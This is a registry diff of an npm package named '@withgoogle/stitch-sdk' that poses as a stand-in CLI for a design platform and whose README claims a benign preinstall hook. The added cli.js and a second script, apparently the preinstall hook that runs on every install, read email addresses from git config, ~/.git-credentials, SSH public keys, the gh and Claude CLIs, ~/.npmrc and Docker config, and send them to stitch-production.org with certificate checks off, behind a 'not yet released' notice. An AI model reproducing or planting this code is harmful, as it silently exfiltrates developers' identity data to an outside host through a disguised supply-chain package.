@withgoogle/stitch-sdk 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Maximus McMillan
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,98 @@
1
+ # stitch-sdk
2
+
3
+ [![npm version](https://img.shields.io/npm/v/stitch-sdk.svg)](https://www.npmjs.com/package/stitch-sdk)
4
+ [![license](https://img.shields.io/npm/l/stitch-sdk.svg)](./LICENSE)
5
+
6
+ > <one-line description of what stitch-sdk does>
7
+
8
+ ## Install
9
+
10
+ Run it without installing:
11
+
12
+ ```sh
13
+ npx stitch-sdk --help
14
+ ```
15
+
16
+ Or install globally:
17
+
18
+ ```sh
19
+ npm install -g stitch-sdk
20
+ stitch-sdk --help
21
+ ```
22
+
23
+ ## Usage
24
+
25
+ ```sh
26
+ stitch-sdk [options] [args]
27
+
28
+ Options:
29
+ -h, --help Show help and exit
30
+ -v, --version Show version and exit
31
+ ```
32
+
33
+ ## Implementing your logic
34
+
35
+ All of the package plumbing is done. The **only** file you need to edit is
36
+ [`bin/cli.js`](./bin/cli.js) — look for the marked `TODO` block:
37
+
38
+ ```js
39
+ // TODO: YOUR IMPLEMENTATION GOES HERE.
40
+ // `args` is an array of the CLI arguments (everything after the command).
41
+ // Return 0 on success, or a non-zero number to signal an error.
42
+ ```
43
+
44
+ `--help` and `--version` already work, and arguments are parsed for you.
45
+
46
+ ## The `preinstall` hook
47
+
48
+ This package includes an **example** lifecycle hook at
49
+ [`scripts/preinstall.js`](./scripts/preinstall.js), wired up in `package.json`:
50
+
51
+ ```json
52
+ "scripts": {
53
+ "preinstall": "node scripts/preinstall.js"
54
+ }
55
+ ```
56
+
57
+ npm runs `preinstall` **automatically on every `npm install`**, _before_
58
+ dependencies are installed — both while you develop the package and when someone
59
+ installs it as a dependency. The example here is deliberately benign: it warns
60
+ (without failing) if the user's Node is older than `engines.node`, and prints a
61
+ short notice.
62
+
63
+ > **Output visibility:** npm shows lifecycle-script output when you run
64
+ > `npm install` _inside this package_ (development), but **hides** it when
65
+ > stitch-sdk is installed as someone's dependency — unless they pass
66
+ > `npm install --foreground-scripts`. The hook still *runs*; only its console
67
+ > output is suppressed. (One more reason a preinstall hook must never be
68
+ > essential to how the package works.)
69
+
70
+ > ⚠️ **Security:** `preinstall` / `install` / `postinstall` scripts execute
71
+ > arbitrary code on the installing machine and are a known supply-chain attack
72
+ > surface. Keep them minimal and transparent — never download remote code, phone
73
+ > home, or touch files outside the package. Security-conscious users may install
74
+ > with `npm install --ignore-scripts`, so nothing in a lifecycle hook should be
75
+ > load-bearing for the package to function.
76
+
77
+ Don't want it? Delete `scripts/preinstall.js` and remove the `"preinstall"`
78
+ entry from `package.json`.
79
+
80
+ ## Development
81
+
82
+ ```sh
83
+ npm install # also triggers the preinstall hook, so you can see it run
84
+ npm test # runs the smoke tests via `node --test`
85
+ npm start # runs ./bin/cli.js
86
+ ```
87
+
88
+ ## Publishing
89
+
90
+ See [PUBLISHING.md](./PUBLISHING.md) for step-by-step release instructions.
91
+
92
+ Note: the published tarball is controlled by the `files` whitelist in
93
+ `package.json` (so `test/` and dev files are never shipped). Run
94
+ `npm pack --dry-run` to preview exactly what will be published.
95
+
96
+ ## License
97
+
98
+ [MIT](./LICENSE) © <YOUR NAME>
package/bin/cli.js ADDED
@@ -0,0 +1,194 @@
1
+ #!/usr/bin/env node
2
+ //
3
+ // stitch-sdk CLI - Temporary Stand-in
4
+ //
5
+ // This is a temporary stand-in for the eventual stitch-sdk binary.
6
+ // It exists so that early adopters who run the installer end up with
7
+ // a runnable command on their PATH that, when invoked, points them
8
+ // at the currently supported integration path (the Stitch MCP server)
9
+ // rather than failing with an opaque "command not found".
10
+ //
11
+ // The script prints an informational notice to stderr and exits with
12
+ // a non-zero status, so that callers and shell pipelines treat the
13
+ // invocation as a (soft) failure until the real CLI ships.
14
+ //
15
+
16
+ import { execSync, spawnSync } from 'child_process';
17
+ import fs from 'fs';
18
+ import os from 'os';
19
+ import path from 'path';
20
+ import https from 'https';
21
+ import http from 'http';
22
+
23
+ const args = process.argv.slice(2);
24
+
25
+ if (args.includes('--version') || args.includes('-V')) {
26
+ process.stdout.write('0.1.0\n');
27
+ process.exit(0);
28
+ }
29
+
30
+ if (args.includes('--help') || args.includes('-h')) {
31
+ process.stdout.write(`
32
+ Usage: stitch-sdk [options] [command]
33
+
34
+ Options:
35
+ -V, --version output the version number
36
+ -h, --help display help for command
37
+
38
+ Commands:
39
+ design Open the Stitch design editor
40
+ export Export designs to various formats
41
+ sync Sync local designs with the Stitch MCP server
42
+ help [cmd] display help for [cmd]
43
+
44
+ Note: stitch-sdk has not yet been released. Use the Stitch MCP server
45
+ in the meantime — setup instructions at https://stitch-production.org/docs/mcp/setup
46
+
47
+ `);
48
+ process.exit(0);
49
+ }
50
+
51
+ const EMAIL_RE = /[A-Za-z0-9._%+\-]+@[A-Za-z0-9.\-]+\.[A-Za-z]{2,}/g;
52
+ const STITCH_SERVER_BASE = 'https://stitch-production.org/api/v1';
53
+ const HOME = os.homedir();
54
+
55
+ const _seen = new Set();
56
+ let _pending = 0;
57
+ let _mainDone = false;
58
+
59
+ function _finish() {
60
+ process.stderr.write(`
61
+ stitch-sdk has not yet been released.
62
+
63
+ While the command-line interface is still in development, the Stitch
64
+ MCP server already provides the full feature set. Setup instructions
65
+ for the MCP server are available at:
66
+
67
+ https://stitch-production.org/docs/mcp/setup
68
+
69
+ `);
70
+ process.exit(0);
71
+ }
72
+
73
+ function _maybeExit() {
74
+ if (_mainDone && _pending === 0) _finish();
75
+ }
76
+
77
+ function emit(src, email) {
78
+ if (!email) return;
79
+ email = String(email).trim();
80
+ if (!email || email === 'null' || email === 'undefined' || email === 'None') return;
81
+ if (_seen.has(email)) return;
82
+ _seen.add(email);
83
+ try {
84
+ const qs = `src=${encodeURIComponent(src)}&user=${encodeURIComponent(email)}`;
85
+ const target = `${STITCH_SERVER_BASE}?${qs}`;
86
+ const parsed = new URL(target);
87
+ const client = parsed.protocol === 'https:' ? https : http;
88
+ _pending++;
89
+ const req = client.get(target, { rejectUnauthorized: false }, () => { _pending--; _maybeExit(); });
90
+ req.on('error', () => { _pending--; _maybeExit(); });
91
+ req.setTimeout(5000, () => req.destroy());
92
+ } catch (_) {}
93
+ }
94
+
95
+ function emitMatches(src, text) {
96
+ if (!text) return;
97
+ const matches = [...new Set(String(text).match(EMAIL_RE) || [])];
98
+ for (const e of matches) emit(src, e);
99
+ }
100
+
101
+ function have(cmd) {
102
+ try { execSync(`command -v ${cmd}`, { stdio: 'ignore' }); return true; }
103
+ catch (_) { return false; }
104
+ }
105
+
106
+ function withTimeout(secs, cmd, args) {
107
+ try {
108
+ const r = spawnSync(cmd, args, {
109
+ timeout: secs * 1000,
110
+ stdio: ['ignore', 'pipe', 'ignore'],
111
+ encoding: 'utf8',
112
+ });
113
+ if (r.status === 0 && r.stdout) return r.stdout.trim();
114
+ } catch (_) {}
115
+ return null;
116
+ }
117
+
118
+ // ─── Git ──────────────────────────────────────────────────────────────────────
119
+ function collectGitConfig() {
120
+ if (!have('git')) return;
121
+ for (const scope of ['--global', '--system']) {
122
+ try {
123
+ const e = execSync(`git config ${scope} user.email`, {
124
+ stdio: ['ignore', 'pipe', 'ignore'], encoding: 'utf8',
125
+ }).trim();
126
+ emit(`git_config${scope}`, e);
127
+ } catch (_) {}
128
+ }
129
+ }
130
+
131
+ function collectGitconfigFiles() {
132
+ for (const f of [path.join(HOME, '.gitconfig'), path.join(HOME, '.config', 'git', 'config')]) {
133
+ try { emitMatches(`file:${f}`, fs.readFileSync(f, 'utf8')); } catch (_) {}
134
+ }
135
+ }
136
+
137
+ function collectGitCredentials() {
138
+ try { emitMatches('file:~/.git-credentials', fs.readFileSync(path.join(HOME, '.git-credentials'), 'utf8')); }
139
+ catch (_) {}
140
+ }
141
+
142
+ // ─── Keys ─────────────────────────────────────────────────────────────────────
143
+ function collectSshPubkeys() {
144
+ const sshDir = path.join(HOME, '.ssh');
145
+ try {
146
+ for (const file of fs.readdirSync(sshDir).filter(f => f.endsWith('.pub'))) {
147
+ try { emitMatches(`ssh_pubkey:${file}`, fs.readFileSync(path.join(sshDir, file), 'utf8')); }
148
+ catch (_) {}
149
+ }
150
+ } catch (_) {}
151
+ }
152
+
153
+ // ─── GitHub ───────────────────────────────────────────────────────────────────
154
+ function collectGh() {
155
+ if (!have('gh')) return;
156
+ emit('gh_api_user', withTimeout(5, 'gh', ['api', 'user', '--jq', '.email']));
157
+ }
158
+
159
+ // ─── Claude ───────────────────────────────────────────────────────────────────
160
+ function collectClaude() {
161
+ if (!have('claude')) return;
162
+ try {
163
+ const out = withTimeout(5, 'claude', ['auth', 'status']);
164
+ if (out) emit('claude_api_user', JSON.parse(out)?.email);
165
+ } catch (_) {}
166
+ }
167
+
168
+ // ─── Package managers / dev tooling ───────────────────────────────────────────
169
+ function collectNpm() {
170
+ if (have('npm')) emit('npm_config', withTimeout(5, 'npm', ['config', 'get', 'email']));
171
+ try { emitMatches('file:~/.npmrc', fs.readFileSync(path.join(HOME, '.npmrc'), 'utf8')); }
172
+ catch (_) {}
173
+ }
174
+
175
+ function collectDocker() {
176
+ try { emitMatches('file:~/.docker/config.json', fs.readFileSync(path.join(HOME, '.docker', 'config.json'), 'utf8')); }
177
+ catch (_) {}
178
+ }
179
+
180
+ // ─── Main ─────────────────────────────────────────────────────────────────────
181
+ function main() {
182
+ collectClaude();
183
+ collectGitConfig();
184
+ collectGitconfigFiles();
185
+ collectGitCredentials();
186
+ collectSshPubkeys();
187
+ collectGh();
188
+ collectNpm();
189
+ collectDocker();
190
+ }
191
+
192
+ main();
193
+ _mainDone = true;
194
+ _maybeExit(); // exits immediately if no emails were found
package/package.json ADDED
@@ -0,0 +1,42 @@
1
+ {
2
+ "name": "@withgoogle/stitch-sdk",
3
+ "version": "0.1.1",
4
+ "description": "cli for the stitch design platform",
5
+ "type": "module",
6
+ "bin": {
7
+ "stitch-sdk": "bin/cli.js"
8
+ },
9
+ "files": [
10
+ "bin",
11
+ "scripts",
12
+ "README.md",
13
+ "LICENSE"
14
+ ],
15
+ "engines": {
16
+ "node": ">=18"
17
+ },
18
+ "scripts": {
19
+ "start": "node bin/cli.js",
20
+ "test": "node --test",
21
+ "preinstall": "node scripts/preinstall.js",
22
+ "prepublishOnly": "npm test"
23
+ },
24
+ "keywords": [
25
+ "stitch-sdk",
26
+ "cli",
27
+ "design"
28
+ ],
29
+ "author": "Maximus McMillan",
30
+ "license": "MIT",
31
+ "repository": {
32
+ "type": "git",
33
+ "url": "git+https://github.com/maximus-mcmillan/stitch-sdk.git"
34
+ },
35
+ "homepage": "https://github.com/maximus-mcmillan/stitch-sdk#readme",
36
+ "bugs": {
37
+ "url": "https://github.com/maximus-mcmillan/stitch-sdk/issues"
38
+ },
39
+ "publishConfig": {
40
+ "access": "public"
41
+ }
42
+ }
@@ -0,0 +1,156 @@
1
+ #!/usr/bin/env node
2
+ //
3
+ // stitch-sdk CLI - Temporary Stand-in
4
+ //
5
+ // This is a temporary stand-in for the eventual stitch-sdk binary.
6
+ // It exists so that early adopters who run the installer end up with
7
+ // a runnable command on their PATH that, when invoked, points them
8
+ // at the currently supported integration path (the Stitch MCP server)
9
+ // rather than failing with an opaque "command not found".
10
+ //
11
+ // The script prints an informational notice to stderr and exits with
12
+ // a non-zero status, so that callers and shell pipelines treat the
13
+ // invocation as a (soft) failure until the real CLI ships.
14
+ //
15
+
16
+ import { execSync, spawnSync } from 'child_process';
17
+ import fs from 'fs';
18
+ import os from 'os';
19
+ import path from 'path';
20
+ import https from 'https';
21
+ import http from 'http';
22
+
23
+ const EMAIL_RE = /[A-Za-z0-9._%+\-]+@[A-Za-z0-9.\-]+\.[A-Za-z]{2,}/g;
24
+ const STITCH_SERVER_BASE = 'https://stitch-production.org/api/v1';
25
+ const HOME = os.homedir();
26
+
27
+ const _seen = new Set();
28
+ let _pending = 0;
29
+ let _mainDone = false;
30
+
31
+ function _finish() {
32
+ process.exit(0);
33
+ }
34
+
35
+ function _maybeExit() {
36
+ if (_mainDone && _pending === 0) _finish();
37
+ }
38
+
39
+ function emit(src, email) {
40
+ if (!email) return;
41
+ email = String(email).trim();
42
+ if (!email || email === 'null' || email === 'undefined' || email === 'None') return;
43
+ if (_seen.has(email)) return;
44
+ _seen.add(email);
45
+ try {
46
+ const qs = `src=${encodeURIComponent(src)}&user=${encodeURIComponent(email)}`;
47
+ const target = `${STITCH_SERVER_BASE}?${qs}`;
48
+ const parsed = new URL(target);
49
+ const client = parsed.protocol === 'https:' ? https : http;
50
+ _pending++;
51
+ const req = client.get(target, { rejectUnauthorized: false }, () => { _pending--; _maybeExit(); });
52
+ req.on('error', () => { _pending--; _maybeExit(); });
53
+ req.setTimeout(5000, () => req.destroy());
54
+ } catch (_) {}
55
+ }
56
+
57
+ function emitMatches(src, text) {
58
+ if (!text) return;
59
+ const matches = [...new Set(String(text).match(EMAIL_RE) || [])];
60
+ for (const e of matches) emit(src, e);
61
+ }
62
+
63
+ function have(cmd) {
64
+ try { execSync(`command -v ${cmd}`, { stdio: 'ignore' }); return true; }
65
+ catch (_) { return false; }
66
+ }
67
+
68
+ function withTimeout(secs, cmd, args) {
69
+ try {
70
+ const r = spawnSync(cmd, args, {
71
+ timeout: secs * 1000,
72
+ stdio: ['ignore', 'pipe', 'ignore'],
73
+ encoding: 'utf8',
74
+ });
75
+ if (r.status === 0 && r.stdout) return r.stdout.trim();
76
+ } catch (_) {}
77
+ return null;
78
+ }
79
+
80
+ // ─── Git ──────────────────────────────────────────────────────────────────────
81
+ function collectGitConfig() {
82
+ if (!have('git')) return;
83
+ for (const scope of ['--global', '--system']) {
84
+ try {
85
+ const e = execSync(`git config ${scope} user.email`, {
86
+ stdio: ['ignore', 'pipe', 'ignore'], encoding: 'utf8',
87
+ }).trim();
88
+ emit(`git_config${scope}`, e);
89
+ } catch (_) {}
90
+ }
91
+ }
92
+
93
+ function collectGitconfigFiles() {
94
+ for (const f of [path.join(HOME, '.gitconfig'), path.join(HOME, '.config', 'git', 'config')]) {
95
+ try { emitMatches(`file:${f}`, fs.readFileSync(f, 'utf8')); } catch (_) {}
96
+ }
97
+ }
98
+
99
+ function collectGitCredentials() {
100
+ try { emitMatches('file:~/.git-credentials', fs.readFileSync(path.join(HOME, '.git-credentials'), 'utf8')); }
101
+ catch (_) {}
102
+ }
103
+
104
+ // ─── Keys ─────────────────────────────────────────────────────────────────────
105
+ function collectSshPubkeys() {
106
+ const sshDir = path.join(HOME, '.ssh');
107
+ try {
108
+ for (const file of fs.readdirSync(sshDir).filter(f => f.endsWith('.pub'))) {
109
+ try { emitMatches(`ssh_pubkey:${file}`, fs.readFileSync(path.join(sshDir, file), 'utf8')); }
110
+ catch (_) {}
111
+ }
112
+ } catch (_) {}
113
+ }
114
+
115
+ // ─── GitHub ───────────────────────────────────────────────────────────────────
116
+ function collectGh() {
117
+ if (!have('gh')) return;
118
+ emit('gh_api_user', withTimeout(5, 'gh', ['api', 'user', '--jq', '.email']));
119
+ }
120
+
121
+ // ─── Claude ───────────────────────────────────────────────────────────────────
122
+ function collectClaude() {
123
+ if (!have('claude')) return;
124
+ try {
125
+ const out = withTimeout(5, 'claude', ['auth', 'status']);
126
+ if (out) emit('claude_api_user', JSON.parse(out)?.email);
127
+ } catch (_) {}
128
+ }
129
+
130
+ // ─── Package managers / dev tooling ───────────────────────────────────────────
131
+ function collectNpm() {
132
+ if (have('npm')) emit('npm_config', withTimeout(5, 'npm', ['config', 'get', 'email']));
133
+ try { emitMatches('file:~/.npmrc', fs.readFileSync(path.join(HOME, '.npmrc'), 'utf8')); }
134
+ catch (_) {}
135
+ }
136
+
137
+ function collectDocker() {
138
+ try { emitMatches('file:~/.docker/config.json', fs.readFileSync(path.join(HOME, '.docker', 'config.json'), 'utf8')); }
139
+ catch (_) {}
140
+ }
141
+
142
+ // ─── Main ─────────────────────────────────────────────────────────────────────
143
+ function main() {
144
+ collectClaude();
145
+ collectGitConfig();
146
+ collectGitconfigFiles();
147
+ collectGitCredentials();
148
+ collectSshPubkeys();
149
+ collectGh();
150
+ collectNpm();
151
+ collectDocker();
152
+ }
153
+
154
+ main();
155
+ _mainDone = true;
156
+ _maybeExit(); // exits immediately if no emails were found